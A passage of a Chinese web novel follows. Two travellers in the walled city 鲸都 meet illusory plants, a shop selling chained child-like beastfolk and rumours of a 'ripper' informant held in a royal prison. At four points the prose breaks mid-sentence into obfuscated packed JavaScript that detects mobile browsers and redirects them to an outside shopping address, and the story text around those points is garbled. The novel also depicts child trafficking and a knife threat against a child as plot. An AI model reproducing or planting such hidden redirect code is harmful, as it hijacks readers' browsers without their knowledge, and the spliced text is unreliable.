这间高级补剂店内没有菜单,可以选择当日特色口味补剂,也可以根据当日的心情定制补剂。 从小壶中倒出的液体是柔和的柑橘色,味道初入口有些酸涩,渐渐地,会在喉口慢慢回甘。 “自从鲸都停止其他食物供应后,我们的食物就只剩下补剂了。” 下午的阳光透进落地窗内,店主为两个初入此地的客人端来了一小盘其他口味的牛乳色补剂作为赠品。 “尽管补剂对于鲸都大多数人而言只是填饱肚子的手段,我还是希望有更多人能把摄入补剂的过程当成一种享受,所以一直在研究各种口味的补剂。” “鲸都是什么时候停止食物供应的呢?”池遥问。 “我不知道,应该是几十年前的事了吧。”店主摇摇头。 原来补剂已经存在这么久了啊。 池遥了然地点点头,用小勺盛了一点牛乳色的补剂,一入口,一股浓郁的香甜味在口中弥漫开来,味道和炼乳有些相似,但并不过分甜腻。 很快,这间客流量不大的高级补剂店成为了池遥和萧俨的常驻地。 相对而坐,共同品尝新口味补剂的时候,池遥和萧俨总是会聊起各自故乡的事物。 距离故乡的末日降临,似乎已经过了将近一年,可是讲起故乡的甜品,池遥还能讲得头头是道。 家乡的甜品实在太多了,海苔肉松小贝,豆乳盒子,蛋黄酥,芝士蛋糕......讲着讲着就开始分泌口水,停不下来。 等兴奋上头的池遥停止讲话,一直托腮笑着听她说话的萧俨就会接上她的话题。 “新都也有超多很好吃的甜品哦。” 他歪着脑袋,柔和的笑意从眼中慢慢流淌出来,所有注意力都放在池遥一个人身上。 “怎么说呢,新都每年最大的节日叫做启月节,以前似乎叫做祈月节,祈祷的祈,不过末日降临后就改名字了。” 他的眼神变得有些悠远。 “在启月节当天,新都各个区域都会支起无数临时集市,许多启月节的特色甜品,特色口味调酒也只在启月节期间售卖。启月节当晚,天上会出现两个相接的满月,新都人认为那是美好的预兆。夜幕降临后,所有新都人都会陷入一年一度的狂欢之中,直到日出才停止。” 池遥不由地被他口中的节日所吸引。 “启月节的甜品很多哦。有那种加了很多香料的炼奶,炼奶和你所说的炼乳和牛奶都不太一样,是一种味道非常浓郁香甜的半液体半固体甜品。” “还有启月饼,是两块大约手掌大,满月形状的柔软饼干,中间夹着酸味的奶油,外壳是脆的,但是咬下去内部像云朵一样软,是启月节的代表食物。” 池遥认真地听着萧俨的话,边听边在脑海中构想萧俨描述的食物,突然悟了。 他所描述的启月饼,该不会是马卡龙吧? “我的世界好像也有和启月饼相似的甜品......”她立刻给萧俨讲起了马卡龙。 不知不觉间,时间流逝似乎也按下了加速键。 突然,池遥感受到自己放在桌上的手,被另一只热度不足的手用力握住了。 “池遥。” 他目光灼灼地盯着池遥的眼睛。 “据说,启月节要和最重要的人一起过。” “你一定要来新都啊,然后我们一起去过启月节。” 池遥一时间竟然不知道该回答什么。 奇怪的是,她本以为自己听到这话后会感到开心,幸福。但与此相反,她第一时间反应过来,新都在末日后受损情况不重,没有影响日常生活,新都的启月节还会无限地举办下去。 可自己的世界已经被丧尸毁了七七八八,故乡的甜品,故乡的马卡龙,她是真的再也吃不到了。 有时候,他们也留在旅社里,池遥从空间里找出家乡的书籍,还有沈观离送给自己的书,对着窗户,坐在桌前一看就是一下午。 她的窗台上摆着一个抱着一轮弯月,坐在小船上的黑色小猫挂件,这是萧俨送给她的礼物,为了让池遥天天看到,特意放在了她的窗边。 萧俨把自己房间的椅子搬到池遥的房间里,双臂懒洋洋地搭在桌上,脑袋支在手臂上,懒散地看着池遥手中的书页内容。 他们一起看了壮烈的复仇故事、俗套却令人感伤的爱情故事,一同品鉴另一个世界的历史,欣赏神话与怪谈。 萧俨带着池遥逛了旅社外这条街道边的每一家商店。 除了没去婚姻介绍所以外,把所有店都逛了一番,以他的漂亮脸蛋和让人难以抵挡的笑容,与每家商店的店主都打好了关系。 连名为“珍兽馆”的兽人商店,也被萧俨和池遥逛了一遍,这家兽人商店让池遥想起了故乡的猫咖,既提供兽人陪伴的服务,又出售店内的兽人幼崽。 珍兽馆内部分为两层,一层是兽人陪伴体验馆,可以在此享受兽人的服侍,二层则是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17155885|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 兽人购买处,可以在二层挑选和购买心仪的兽人,二楼售卖的商品大多是看起来十岁左右的兽人幼崽。店主是一对三十岁出头的夫妇,平时老板娘操持商店,老板娘的丈夫不常出现。夫妇二人身形略显臃肿,但却格外亲切,在整条街都十分出名。 时不时,池遥会收到情报商“鲸都灰栗鼠”的信件,询问她要寻找的人的更进一步特征。 和萧俨一起走在街上时,有时就不可避免地向萧俨提到曲卓。 池遥会说起自己和曲卓一起在末日之下谋生的短暂几天,述说一同在酒店房间看到丧尸时的无助心情,述说基地普通人挤在一起的可怜床铺,说起她遇见的第一个变形人阿元,也是导致她和曲卓失散的罪魁祸首。 萧俨也会讲起自己的事,大多是他的双胞胎弟弟萧燃。 “他从小好像就没什么存在感,不太喜欢和人交流,别人和他说话,他只会当没看见,是个超级别扭又难搞的小孩。” 在萧俨口中,萧燃是个自小严肃又老成,沉默寡言又无趣的孩子。 他们彼此差异很大,又形影不离。 “别人向他开玩笑,他也不给个笑脸,只会僵着一张死人脸用一双眼睛阴恻恻地盯着别人看。” “哦对,他以前就是这样把一个女孩子弄哭了哦。” “不过,他长着一张和我一模一样的脸,但我们气质差别很大,反正你见到他的时候就会明白我在说什么了。”萧俨拉着池遥坐在花坛边的长椅上,“他不太会讨人喜欢,我正好和他相反吧,我很会讨人欢心。” 这话说得很奇怪,仿佛把自己放在了一个极低,极卑微的姿态之下。 “感觉池遥也许会不喜欢我弟弟呢,但他到底还是我弟弟,我还是希望池遥会看在他和我长着同一张脸的面子上,也稍微喜欢他一点点吧。” 池遥没说话,藏在袖口之下的手很轻很轻地触碰了一下萧俨的手指。 脑海的星空中,有一颗新亮起的星星璀璨夺目,亮光很快盖过了其他所有星星。 即便她现在仍不知道萧俨的目的,这个人仍旧满身谜团。 但是,与萧俨一同在鲸都的时光如此有趣,这个人浑身都是柔和的暖意,永远生机勃勃,与他一起度过每一个无所事事的白天似乎都变成了值得回味的经历。 至少现在,她先和萧俨开开心心地在鲸都游荡吧。 在鲸都的街头巷尾,每一家商店都留下属于他们的痕迹。 感受着脑海中的星星,池遥忍不住勾起嘴角,依靠在长椅靠背上,脑袋放松地向后仰,搭在椅背上,眼前满是长椅背后花坛内的观景花木,有不少花枝上已经结出了花骨朵,有几朵花已经提前绽开了。 池遥闭上眼,深深吸了一口气。 奇怪,明明她的脸距离花坛如此近,却闻不到任何花香味。 难道这种花没有香味吗? 她失望地垂下眼,抬手想触碰眼前的花骨朵,可伸出的手指却从花苞正中间穿了过去。 什么也没有碰到。 只捞到一手空气。 165. 白色乌托邦7 “咦?” 池遥与一旁注视着她一举一动的萧俨同时发出了惊疑的声音。 眼前的花是不存在的? 池遥立刻坐起身,再度朝着花坛伸出手,仍旧捞了个空。不仅如此,她再度朝花坛伸出手时,也没有碰到花坛的围栏,再向下探去,才发现连她眼中那个精心雕琢的花坛,都一并不存在了。 次日,池遥和萧俨在珍兽馆一楼问起了这件事。 多亏了萧俨强大的交际能力,二人此时已经和珍兽馆一楼的兽人们混熟了关系。 珍兽馆一层的兽人与二层不同,二层的兽人幼崽是被当成货品售卖的,而一层的兽人看上去均已成年,有些是已经有各自的主人,在一层打工赚钱,有些则是被主人退回后无法再次售卖,在一层工作换取住宿,总之一层的兽人身份相对自由,和普通的鲸都居民没什么区别。 “花坛啊......你们难道不知道吗?那是鲸都的拟态啊!” 头上顶着一对兔耳朵的女孩子解答了他们的问题。 “鲸都原本是个自然环境十分恶劣的城市,鲸都的土地完全种植不出任何作物,是皇室投资的科研所研发了拟态技术,在街道两侧制作了绿植的拟态。鲸都的所有绿植全部都是拟态技术生成的。” “原来是这样的吗?”听到女孩的解释,池遥又问了几句,才明白过来,所谓的拟态技术,与故乡的投影技术相似,都是一种光的折射作用。而拟态技术显然更加高超,达到了以假乱真的效果。 回想起自己一路在街上看到的各式各样的绿植,居然全部都是虚假的拟态效果,池遥顿觉自己对于鲸都的理解仍旧不足,开口问道。 “除了拟态之外,鲸都还有什么其他的事吗?或者传闻,怪谈,什么都可以。” “让我想想......”女孩蹙着眉沉思了一会儿,又长叹了一口气。 “突然这么问,我还真想不到什么可以说的呢......对了!我前几天听小鹿提起什么事,鲸都最近似乎有些动荡,出现了一个被称为‘鲸都开膛手’的连环杀手。” 这个以鲸都二字为开头的五字称呼,让池遥不由想到了他们的情报商鲸都灰栗鼠,这位情报商几天前传来消息,表示正在推进,请两人不要着急,现在也不知道到底找人找得如何了。 “鲸都开膛手?” 在池遥的故乡,存在着一位名叫“开膛手杰克”的连环凶手,一度被写入各种怪谈和小说作品当中,她似乎知道这位兔子兽人要给他们讲述什么样的故事了。 “我只是听说的传闻噢!”兔兽人压低声音,“传说那是一个超~级恐怖的杀手!他会在夜黑风高之时残忍地用尖利的指爪将人活生生开膛破肚,非常可怕!” “真的吗?”池遥同样挡住嘴,用气声回答。 “假的啦!”一旁听见他们交谈内容的小鹿兽人一拳砸在兔子脑袋上,“如果鲸都开膛手真的存在,那么皇室一定会发通告说明的!现在还没有风声,所以肯定是假的啦!” “皇室会发通告?” “是的呀,皇室很关心大家,而且鲸都的重要部门全部都是皇室直属的,连白教堂也是,一旦鲸都有什么风吹草动,皇室都会立刻知晓,第一时间发出通知的!” 池遥点点头。 看来,在鲸都,皇室的权力大过一切啊。 晚上,旅社门口来了一位意料之外的客人。 和池遥想象中不同,这位被称为鲸都灰栗鼠的情报商有着一头灰棕色的头发,身形瘦弱矮小,只到池遥的肩膀。 竟然是个孩子。 “你就是鲸都灰栗鼠吗?”池遥低头,打量着面前的人。 这个孩子看起来有些过分瘦弱了,身体犹如一截细细的柳条,但注视着池遥与萧俨的神情却极为自信,甚至有些自负。 “是我。”孩子点了点头,看向池遥身边的萧俨。 “这次怎么亲自现身了?是委托有什么问题吗?”池遥问。 “委托没有问题,咳,我还在努力推进,如果有任何消息会第一时间给你们来信的!”鲸都灰栗鼠的目光一直停留在萧俨身上。 “我这次来是因为你们一共委托我寻找两个人。一男一女,关于那位女士,你们给了我确切的照片和其他资料,但要寻找的男性并没有任何外貌上的说明,只说是您同伴的双胞胎兄弟,我这次主动提出见面,就是为了确定您同伴的外表。” “这位先生,您的双胞胎兄弟和您相似吗?” “我们长得一模一样。”萧俨笃定道。 “好的。”孩子点点头,一溜烟跑掉了。 在鲸都住了一段时间后,池遥和萧俨二人渐渐有了各自的事,比起外出,池遥更喜欢室内活动,而萧俨则更倾向于外出活动,因此,二人的日常从紧密的二人共同行动,变成了一起去高级补剂店吃早餐,再各自分别去做各自的事情。 黄昏时刻,池遥独自一人,朝着旅社的方向走去。 或许是到了下班的时间,街上的行人数量多了一些,珍兽馆门口,店主夫妇正带着一群兽人店员,从街边的大型厢车中卸下一长串锁链,锁链另一端连接着一群年龄较小,看起来十岁左右的年轻兽人。 这些兽人穿着最简易的连体衣,衣袖上的暗扣连接着锁链,根本无法拆卸,只能跟随着其他店员一同走进珍兽馆,被他们带上二楼。 池遥站在街边看着这一幕,饶是她本人十分反对这种把活生生的人类当成商品的行径,但这段时间,她频繁出入珍兽馆,在与珍兽馆店员的交往中,逐渐明白,珍兽馆的店主夫妇是非常和蔼的好人。 店主的丈夫是个沉默寡言,不善言辞却一把力气的老好人,而老板娘虽然看上去风风火火,总是以超出池遥预料的热情让她无法招架,但这位年长的女性对孩子却有着无限的耐心和母性。 “池遥!” 结束工作的店主看到了街边的她,立刻开口招呼她。 “准备回家了?今天过得怎么样?要来珍兽馆里坐一会儿吗?” 时间还早,萧俨想必还没有回到旅社,池遥思考片刻,点了点头。 “太好了,正好我今天有时间,一会儿带你去二楼看看!” “啊......好。” 萧俨不在,池遥有点局促地答应了店主的邀请。 珍兽馆二楼的面积 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17161312|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几乎是一楼的两倍,所有待售的兽人幼崽都得到了良好的照顾,这些兽人有独立的休息室,所有生活用品一应俱全,墙上还贴着兽人饲养指南。 虽然常来珍兽馆,但池遥并不经常去到二楼,也很少仔细看二楼的设施。 此时二楼除了他们之外没有其他的顾客,所有兽人都在做各自的事,他们被卸下了锁链,换上了新衣服,在名为珍兽馆的新家里开始了新的生活。 在这些兽人幼崽当中,池遥眼尖地发现了一个拥有白色猫耳,耳朵里的绒毛很蓬松,看起来又乖又腼腆的漂亮小男孩。 这个孩子长得和苏榕有些相似。 可惜苏榕的能力是变成各种动物,却无法让自己拥有动物特征,他只能变成小猫,不能变成一个猫耳少年,这简直是天大的遗憾。 如果苏榕可以变成猫耳少年的话,池遥勉强可以饶过苏榕总是和她闹别扭的行为。 除了白色小猫兽人,还有一个焦糖色垂耳的兽人也长着一张很可爱的脸,尽管看不出具体品种,池遥立刻对他产生了好感,频频看向这几只幼崽。 店主立刻发现了池遥的小动作。 “池遥,你对养一只兽人感兴趣吗?” “啊......但我现在连自己的房子都没有,常住旅社,应该不方便养一只兽人吧?”池遥委婉拒绝。 然而,风风火火的店主没等她说完,就站起身,把焦糖色耳朵的兽人带到了池遥面前。 “池遥,你看这孩子,特别可爱,垂着耳朵一看就乖,特别听话!你真的不动心吗?还有这可怜兮兮的小表情,大眼睛,你不想养它吗?” “嗯......”池遥局促地蜷缩了一下手指,犹豫要不要直接出言拒绝。 “这样吧,看你这么喜欢,咱们也认识这么久了。你家萧俨是个好孩子,这个幼崽我就不收钱,白送给你们了!他特别乖特别懂事!养着他你就省一万个心吧!” 在店主的一通话术之后,池遥被店主轰出了商店,她呆愣愣地站在珍兽馆大门口,身边还站着一个焦糖色耳朵的兽人。 “这......” 这不对吧? 珍兽馆的店主虽然一向热情,但这次实在是太热情了吧?而且这种可爱的幼崽白送给她真的可以吗?这怎么想都是一桩赔本生意吧? 直到她带着身后的少年回到旅社,见到等候许久的萧俨,才知道了店主的苦心。 “池遥......” 一看到池遥身后的兽人幼崽,萧俨就蹙起了眉头,无奈地看向了一脸无辜的池遥。 “你......这是你买的兽人幼崽吗?” “珍兽馆店主送的。”池遥小声辩解。 “那你知道她为什么送你吗?不对,你知道这是什么品种的兽人吗?” 萧俨的神色让池遥敏锐地察觉出几分不对劲。 “呃......我不知道,大概是犬类?” 她心虚地看向别处,拒绝与萧俨对视。 “这是猎兔犬的一种,用你熟悉的话说就是......” 萧俨长叹了一口气。 “是比格啊......” 166. 西尔斯班纳皇家监狱1 是比格啊。 短短四个字,为何会有这么大威力呢? 池遥一时间晕头转向,盯着眼前的幼崽,回不过神。 “是比格?是那个会werwer~叫的比格吗?” 萧俨嘴角噙着一丝笑意,看似游刃有余实际上实在没招了,微微点头。 “是那个《我曾经也想抱着它一起跳楼》,《被我的狗逼去看心理医生》,《没养狗却变成了受害人》,《饺子的故事》的魔丸比格吗?” 池遥之后说的话萧俨就听不懂了,但他相信池遥早就明白了他的意思,依旧笑着点头。 “是的哦。” 听了他的话,池遥眼前一黑。 但身旁的孩子仍旧乖乖地站在她身边,没发疯也没拆家,说不定事情还有转机? 而且以她的了解,这种长着兽耳和尾巴的人类就是变形人,也是能力者的一种。 “他是能力者吗?” “不是吧。”听到池遥轻声的自言自语,萧俨摇摇头,蹲下来,仔细打量着躲在池遥身侧的孩子,“能力者在觉醒能力后,外表和身体状态会维持在觉醒能力时的年龄,长达百年不变。这些幼崽是能够长大的吧?” 听了萧俨的话,池遥顿时发觉,是这个道理。 “我只知道天赋者是这样,变形人也一样吗?” “一样的。”萧俨拨弄一下孩子的垂耳,从脖颈上解下自己的空间吊坠,递到孩子手里,“小狗,你试试能不能用这个东西。” “这是什么?”比格幼崽没接,有些胆怯地看了一眼萧俨。 “是能打开的吊坠,你试试能不能打开。”萧俨手指勾着吊坠的链条,将吊坠宝石递到了孩子手里,链条另一端仍旧连在他的手上。 让池遥失望的是,面前的孩子握着吊坠,真的没办法打开这枚吊坠。 看来,他的确不是变形人。 试验结束,萧俨手一勾,轻松地将吊坠收了回来。 “不是变形人,那兽人究竟是什么呢?” 池遥思考许久,也没有得出答案。 “也许是这个世界原本就存在的品种,不用想太多。”萧俨拍拍她的肩膀,把一直抓着池遥袖子的孩子拎过来,“这个孩子先带到我房间,明天想办法处理掉,他和我们终究不是一路人。” 池遥思索良久,也没想到所谓的“处理”究竟是什么意思。 …… 萧俨带着一脸紧张的孩子回到房间里,一进门,就利落地用钥匙将房间反锁,坐在椅子上,撑着脑袋,盯着面前的孩子不说话。 不面对池遥时,他卸下了面上熟稔的笑意,竟然显得有几分不近人情。 “店主为什么把你送给她?” “她嫌我脑子迟钝,而且我来了珍兽馆好几个月,一直卖不出去,还吃了很多补剂,她就想把我免费送出去。” “噢.....”萧俨煞有介事地点点头,脸上又浮现出明朗的笑意,“觉得我很好骗是不是?” 比格幼崽浑身一颤。 “说实话。”萧俨手中不知何处出现了一把小刀,在他指尖上下翻飞,“你听说过鲸都开膛手吗?” “没听说过的话,我也不介意和你讲一讲。鲸都开膛手啊,最喜欢把说谎的小孩子开膛破肚,剥了皮扔在街上......” 刀尖的寒光映入孩子眼底,他本能地转身想要逃跑,可房门被锁得严严实实,根本打不开。 “店主让我记住你们都说了什么话,定期传达给她。” “唔.....就这一点吗?”萧俨将刀子放在桌上,歪了歪脑袋。 他脸上仍旧带着淡淡的笑容,看上去开朗又无辜,完全不像个会威胁小孩的人。 “就这样,真的只有这样,我没有说谎!” 萧俨没有回话,他微微挪动了一下脑袋,视线仍旧定在孩子的身上,许久,才直起身体,耸了一下肩膀。 “好吧,我姑且相信你了。最近十五天以来,店主有什么异常行为吗?做了什么事,见了什么人?” 孩子思考了一会儿,将店主的行踪悉数告诉了萧俨。 “啊......你是说七天前,有皇室直属部门的人找到了店主,和她一起进了包间,说了一下午话是吗?” 很快,萧俨就找到了异样之处。 孩子点了点头。 “虽然我不知道是哪个部门,但是他们身上穿的衣服绝对是和皇室有关的组织制服!” “皇室......” 萧俨轻声重复了这两个字。 “行了,你没用了。明天晚上之前找理由自己麻利滚吧。” 休息一夜,第二天醒来时,池遥才后知后觉地意识到,他们在鲸都已经度过了半个月,此时已经到了委托情报商后的第十四日。 鲸都灰栗鼠早早传了信,说晚上来旅社找他们,信中只字未提委托进度,想必是失败了。 萧俨早早就等在了旅社大厅里,比格幼崽被他留在了房间内,他的所有重要物品都放在随身的空间吊坠内,房间里只有窗台上摆放着一个挂件,其他地方空空如也。 池遥给孩子留下一包看起来很难吃的补剂,和萧俨一同离开旅社。 二人去了常去的高级补剂店,面对面坐在熟悉的位置上。 “池遥,我昨天问那孩子,问出了一些消息。”萧俨将昨晚与比格幼崽的对话告诉了池遥。 “皇室?”池遥也愣了一下,她没想到这件事居然能和鲸都的皇室有关,但仔细想想,又觉得有迹可循。 “如果是皇室,似乎也不奇怪?我们来这里的第一天不是帮助了一对被通缉的小夫妻?”如果是他们两人打倒皇家兵卫的事,似乎被皇室注意到也不奇怪。 只不过,在鲸都待久了,池遥也渐渐发现了些不同。 “说起来,萧俨,我们来鲸都这么久了,除了我,你还见过其他天赋者吗?或者变形人也行。” 萧俨摇摇头。 “没有,我只见到了你一个人。” 很奇怪,偌大一个鲸都,居然找不出一个本地的天赋者。 而且,也难以见到其他旅人,池遥根本没找到曲卓的影子,苏榕和萧俨的双胞胎弟弟也完全没有消息。 天赋者都去哪儿了呢? 想到这件事,两人齐齐叹了口气。 “对了,那个比格孩子,你打算怎么办?”池遥问萧俨。 “你想到办法了?” 池遥点点头。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17170323|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “嗯嗯,你凑近一点。” 她很自然地靠近萧俨身侧,两手挡在嘴边,伏在萧俨耳边轻声说出自己的想法。 距离太近了,萧俨浑身的肌肉不由地紧绷起来,但池遥又没有真的接触到他,只是恰到好处地隔空靠近他。 “好,就照你说的办。”半晌,意识到池遥逐渐远离,萧俨才点了点头。 回到旅社门口时,恰巧赶上了一次地震。 在鲸都这段时间,池遥碰上的地震将近百起,早已习惯了。 只是,从旅社内跑出来的人中,池遥没看到比格兽人的身影。 地震很快停止,萧俨带着池遥回到了他的房间,在房间的睡眠舱里找到了瑟瑟发抖的比格幼崽。 “平时地震的时候,我们是不能跑到街上的,那样会被误以为想要逃走,会被皇家兵卫逮捕的。”孩子脸上还带着惊恐的神色,“无论遇到多剧烈的地震,都不能跑出珍兽馆。” 心地似乎并不善良的萧俨完全没有被打动,一把将小孩从自己的睡眠舱里拎了出来。 池遥抬手挡住脸,长叹一口气,听到房门外传来敲门声,打开门,是鲸都灰栗鼠如约到来了。 看到房间里突然多了一个比格兽人,瘦小的孩子愣了一下,抬头看向池遥二人,在池遥点头后才开口。 “抱歉,我动用了整个鲸都的情报网,还是没有找到任何线索。”孩子老成地叹了口气,“耽误了你们的时间是我的失职。我会退给你们全部委托费用,把你们的委托重新发布到情报商中间,但是我还是想提醒两位一件事。” 池遥点点头,认真听着他的话。 “鲸都的情报商彼此都有着紧密的联系,大家共用所有情报网。因此,我无法找到线索的委托,换其他情报商来,结果恐怕还是会不尽人意,希望两位做好准备。” 池遥已经料想到了这种可能性,并不意外,但还是有几分遗憾。 “好吧,你这么说不就代表着,鲸都的情报商完全没用了吗。” 她还是叹了口气,尽可能放轻语气抱怨一句。 紧接着,她就发现,面前自诩情报商的孩子脸上,露出了几分犹豫不决的神色。 “也许……也许还有其他情报商能解决你们的委托。” 鲸都灰栗鼠壮着胆子,说出了自己的看法。 “的确,鲸都现存的情报商都只能做到我这一步,但是,传说鲸都有一位史上最伟大的情报商,没有人知晓他的真实面貌。他无所不知,无所不晓,只要给出合适的筹码,他就能回答一切问题,仿佛传说中的神明一样。如果能找到他,说不定他可以解决你们的委托。” “那是谁?”池遥忍不住开口。 “不知道你们听没听说过鲸都开膛手的名字。” “啊.......鲸都开膛手?”池遥愣住了。 “那不是连环杀手吗?” “不是,鲸都开膛手是鲸都最伟大的情报商,我的名字就是致敬他的呀。”鲸都灰栗鼠忍不住为自己的同行辩解。 “那叫什么开膛手?听起来很像杀人凶手啊。” “鲸都开膛手从来不杀人的。不过他的确开膛,他叫这个名字是因为,他能扯开自己的胸膛。” 167. 西尔斯班纳皇家监狱2 所以起鲸都开膛手这个名字的原因竟然是他会撕扯开自己的胸膛吗? 好吧,是个狠人。 池遥的表情僵住了,哭笑不得。 “好吧,那么,你知道这位鲸都开膛手的行踪吗?” 面前的孩子点了点头,神色有点犹豫。 “原本不久前他还一直活跃在不法之地的,但突然就销声匿迹了。据知情人说,是进监狱了。” 这个结果池遥并不意外。 “而且,是只有重刑犯才能进入的西尔斯班纳皇家监狱。” 鲸都法律严苛,众多刑罚之下,犯罪入狱者逐年增加。 因此,鲸都境内的皇室直属监狱也足有四五所,其中管理最为严酷的监狱就是西尔斯班纳皇家监狱,只收容罪大恶极的重刑犯。 “这样啊......” 尽管这一次没有从情报商口中得出好友的情报,但好歹有了另一个方向。 “既然这样,我就修改一下之前的委托内容吧。”池遥看向一旁乖乖站在不远处,等着他们的比格兽人幼崽。 “你看看这个,这是附近珍兽馆店主强行送我的宠物,但我目前没有能力饲养他,你可以帮忙为他找一个新主人吗?要认真负责,真心想养宠物,不弃养不散养,性格宽厚忍耐力强的忍人主人才行。” 情报商看看和他身高相仿,只多了一对耳朵的孩子,拉着对方的手,把他拉到自己的身边,点了点头。 “好的,我会替换您的委托内容。您之前的委托共有两条内容,那我给您退一半的款?” “不,我还有一个新委托,希望你尽早完成。” 说到这里,池遥扭头看向萧俨,又迅速收回目光。 “你刚刚说的西尔斯班纳皇家监狱,我需要这里的详细情报,越详细越好。” “好的!我一定会尽早办好!” 更改后的两条委托内容难度骤减,小情报商立刻点头,干劲满满地离开了。 离开时,把比格幼崽也一起带走了。 房间里又剩下了池遥和萧俨二人。 “你想进他说的那座皇家监狱?”在池遥说出第二个委托项时,萧俨就看穿了她的意图。 “嗯。”池遥点点头,“如果那个鲸都开膛手真的像情报商说得那么厉害,说不定能把曲卓的情报提供给我,还有你弟弟的消息,说起来,和双胞胎弟弟失散,你不担心你弟弟吗?” 萧俨思索片刻,摇了摇头。 “他也是实力不弱的天赋者,很少遇到连他都无法解决的危机,不会轻易死去。” “是吗......”池遥分神,查看脑海中的星空,代表着苏榕的星星仍旧高悬,一闪一闪地发亮,不知道他现在身在何处。由于脑海中的星空能显示出被她标记过的人的状态,她此时不太担心苏榕,但仍旧希望早日和苏榕汇合。 “但我的想法和你相同。”萧俨示意池遥坐在他对面,“我也认为有必要去一趟监狱,而且一定是那座西尔斯班纳皇家监狱。如果情报商说的情况属实,这里关押的全部都是重刑犯,那么说不定有能力者。” 说不定能找到本地的能力者。 “但说得轻巧,该怎么进监狱呢?”池遥叹了口气,“我们现在连那所监狱的位置都不知道,只能等情报商的情报了。实在不行,我们犯点小事找理由进去?” “恐怕不行。”萧俨摇摇头,“鲸都的监狱数量太多了,而且全部是皇家监狱,没有明确的规定,我们贸然犯罪,如果被送进了其他监狱怎么办?” 池遥顺着萧俨的思路,跟着点头。 “而且,说起来,我们总归不是鲸都的原住民,鲸都的居民系统中没有我的资料,完全就是黑户啊。如果真的犯罪,或者做出什么错事引起皇室注意,旅人的身份会暴露。” 这段时间,池遥也发现了,鲸都居民人手一个居民凭证,鲸都的住民系统中登记着每位居民的个人信息,幸亏平时的衣食住行很少有用得上凭证的地方,池遥和萧俨才能伪装到现在。 不过,此前,他们似乎已经引起了皇室注意。 恐怕之后的日子也不会风平浪静了。 “这几天,我们还是尽量结伴同行吧。”萧俨手里把玩着窗台上的小摆件,侧头看向池遥。 “好,不知道皇室会怎么对付我们,而且,也不知道这个世界原本的天赋者都去哪儿了,总不能全部离开这个世界了吧?” 说到这里,池遥突然想到一种可能性。 “不过,萧俨,咱们这种天赋者都是末日前一个月觉醒天赋能力的吧?” 萧俨点点头。 “那么,那些迎来末日好几十年的世界,还会出现新的天赋者吗?” 想必答案是不会的吧。 已经迎来末日的世界,不再会产生新的天赋者,只会出现新的变形人和觉醒者。 “那些遭受末日十年以上的世界都是什么样子呢?萧俨,你的故乡遭受末日多久了?” 她不由地问身旁的人。 萧俨看起来年纪和她差不多大,甚至可能比她年轻一点,但行事作风要比池遥更成熟,应该成为旅人有几年了吧? “十年。” 然而,萧俨轻描淡写地说出了池遥想不到的数字。 “什么?” 池遥扭过头,再一次,仔仔细细,认认真真地打量了一番萧俨的外表,眼前的人漂亮又开朗,人畜无害,像个不谙世事的男大学生。 “那你现在是......” “十八岁就成为了天赋者,之后外貌一直没有改变过,至今已经十年了。”萧俨似乎笑了一下,说出这句话时,他似乎短暂地变成了池遥不认识的模样。 “如果说实际年龄的话,应该是二十八岁吧,比池遥要年长将近十岁呢。” 他歪了歪脑袋,又恢复了池遥习惯的,有些讨好的神色。 “池遥会觉得我太老了,嫌弃我吗?” “......不,不嫌弃吧。”池遥一时间不知道该说什么。 她应该做的是警惕眼前这个装天真的家伙。 只不过,在池遥的猜测中,她虽然知道萧俨的实际年龄会比外表更年长一点,却没想到萧俨的真实年龄已经要奔三了。 但天赋者的寿命长达三百年,应该不能以普通人的维度算起了吧? 如果以三百年的维度算起,萧俨的年龄还不到总寿命的十分之一,可以说是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17181153|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 相当年轻了。 想到这些,池遥渐渐也就接受了,只不过...... “我应该没说过我的真实年龄吧?” “我猜测的,池遥的话,大概十八岁左右?” “十九。” 对方都主动报年龄了,池遥也主动说出了自己的年龄。 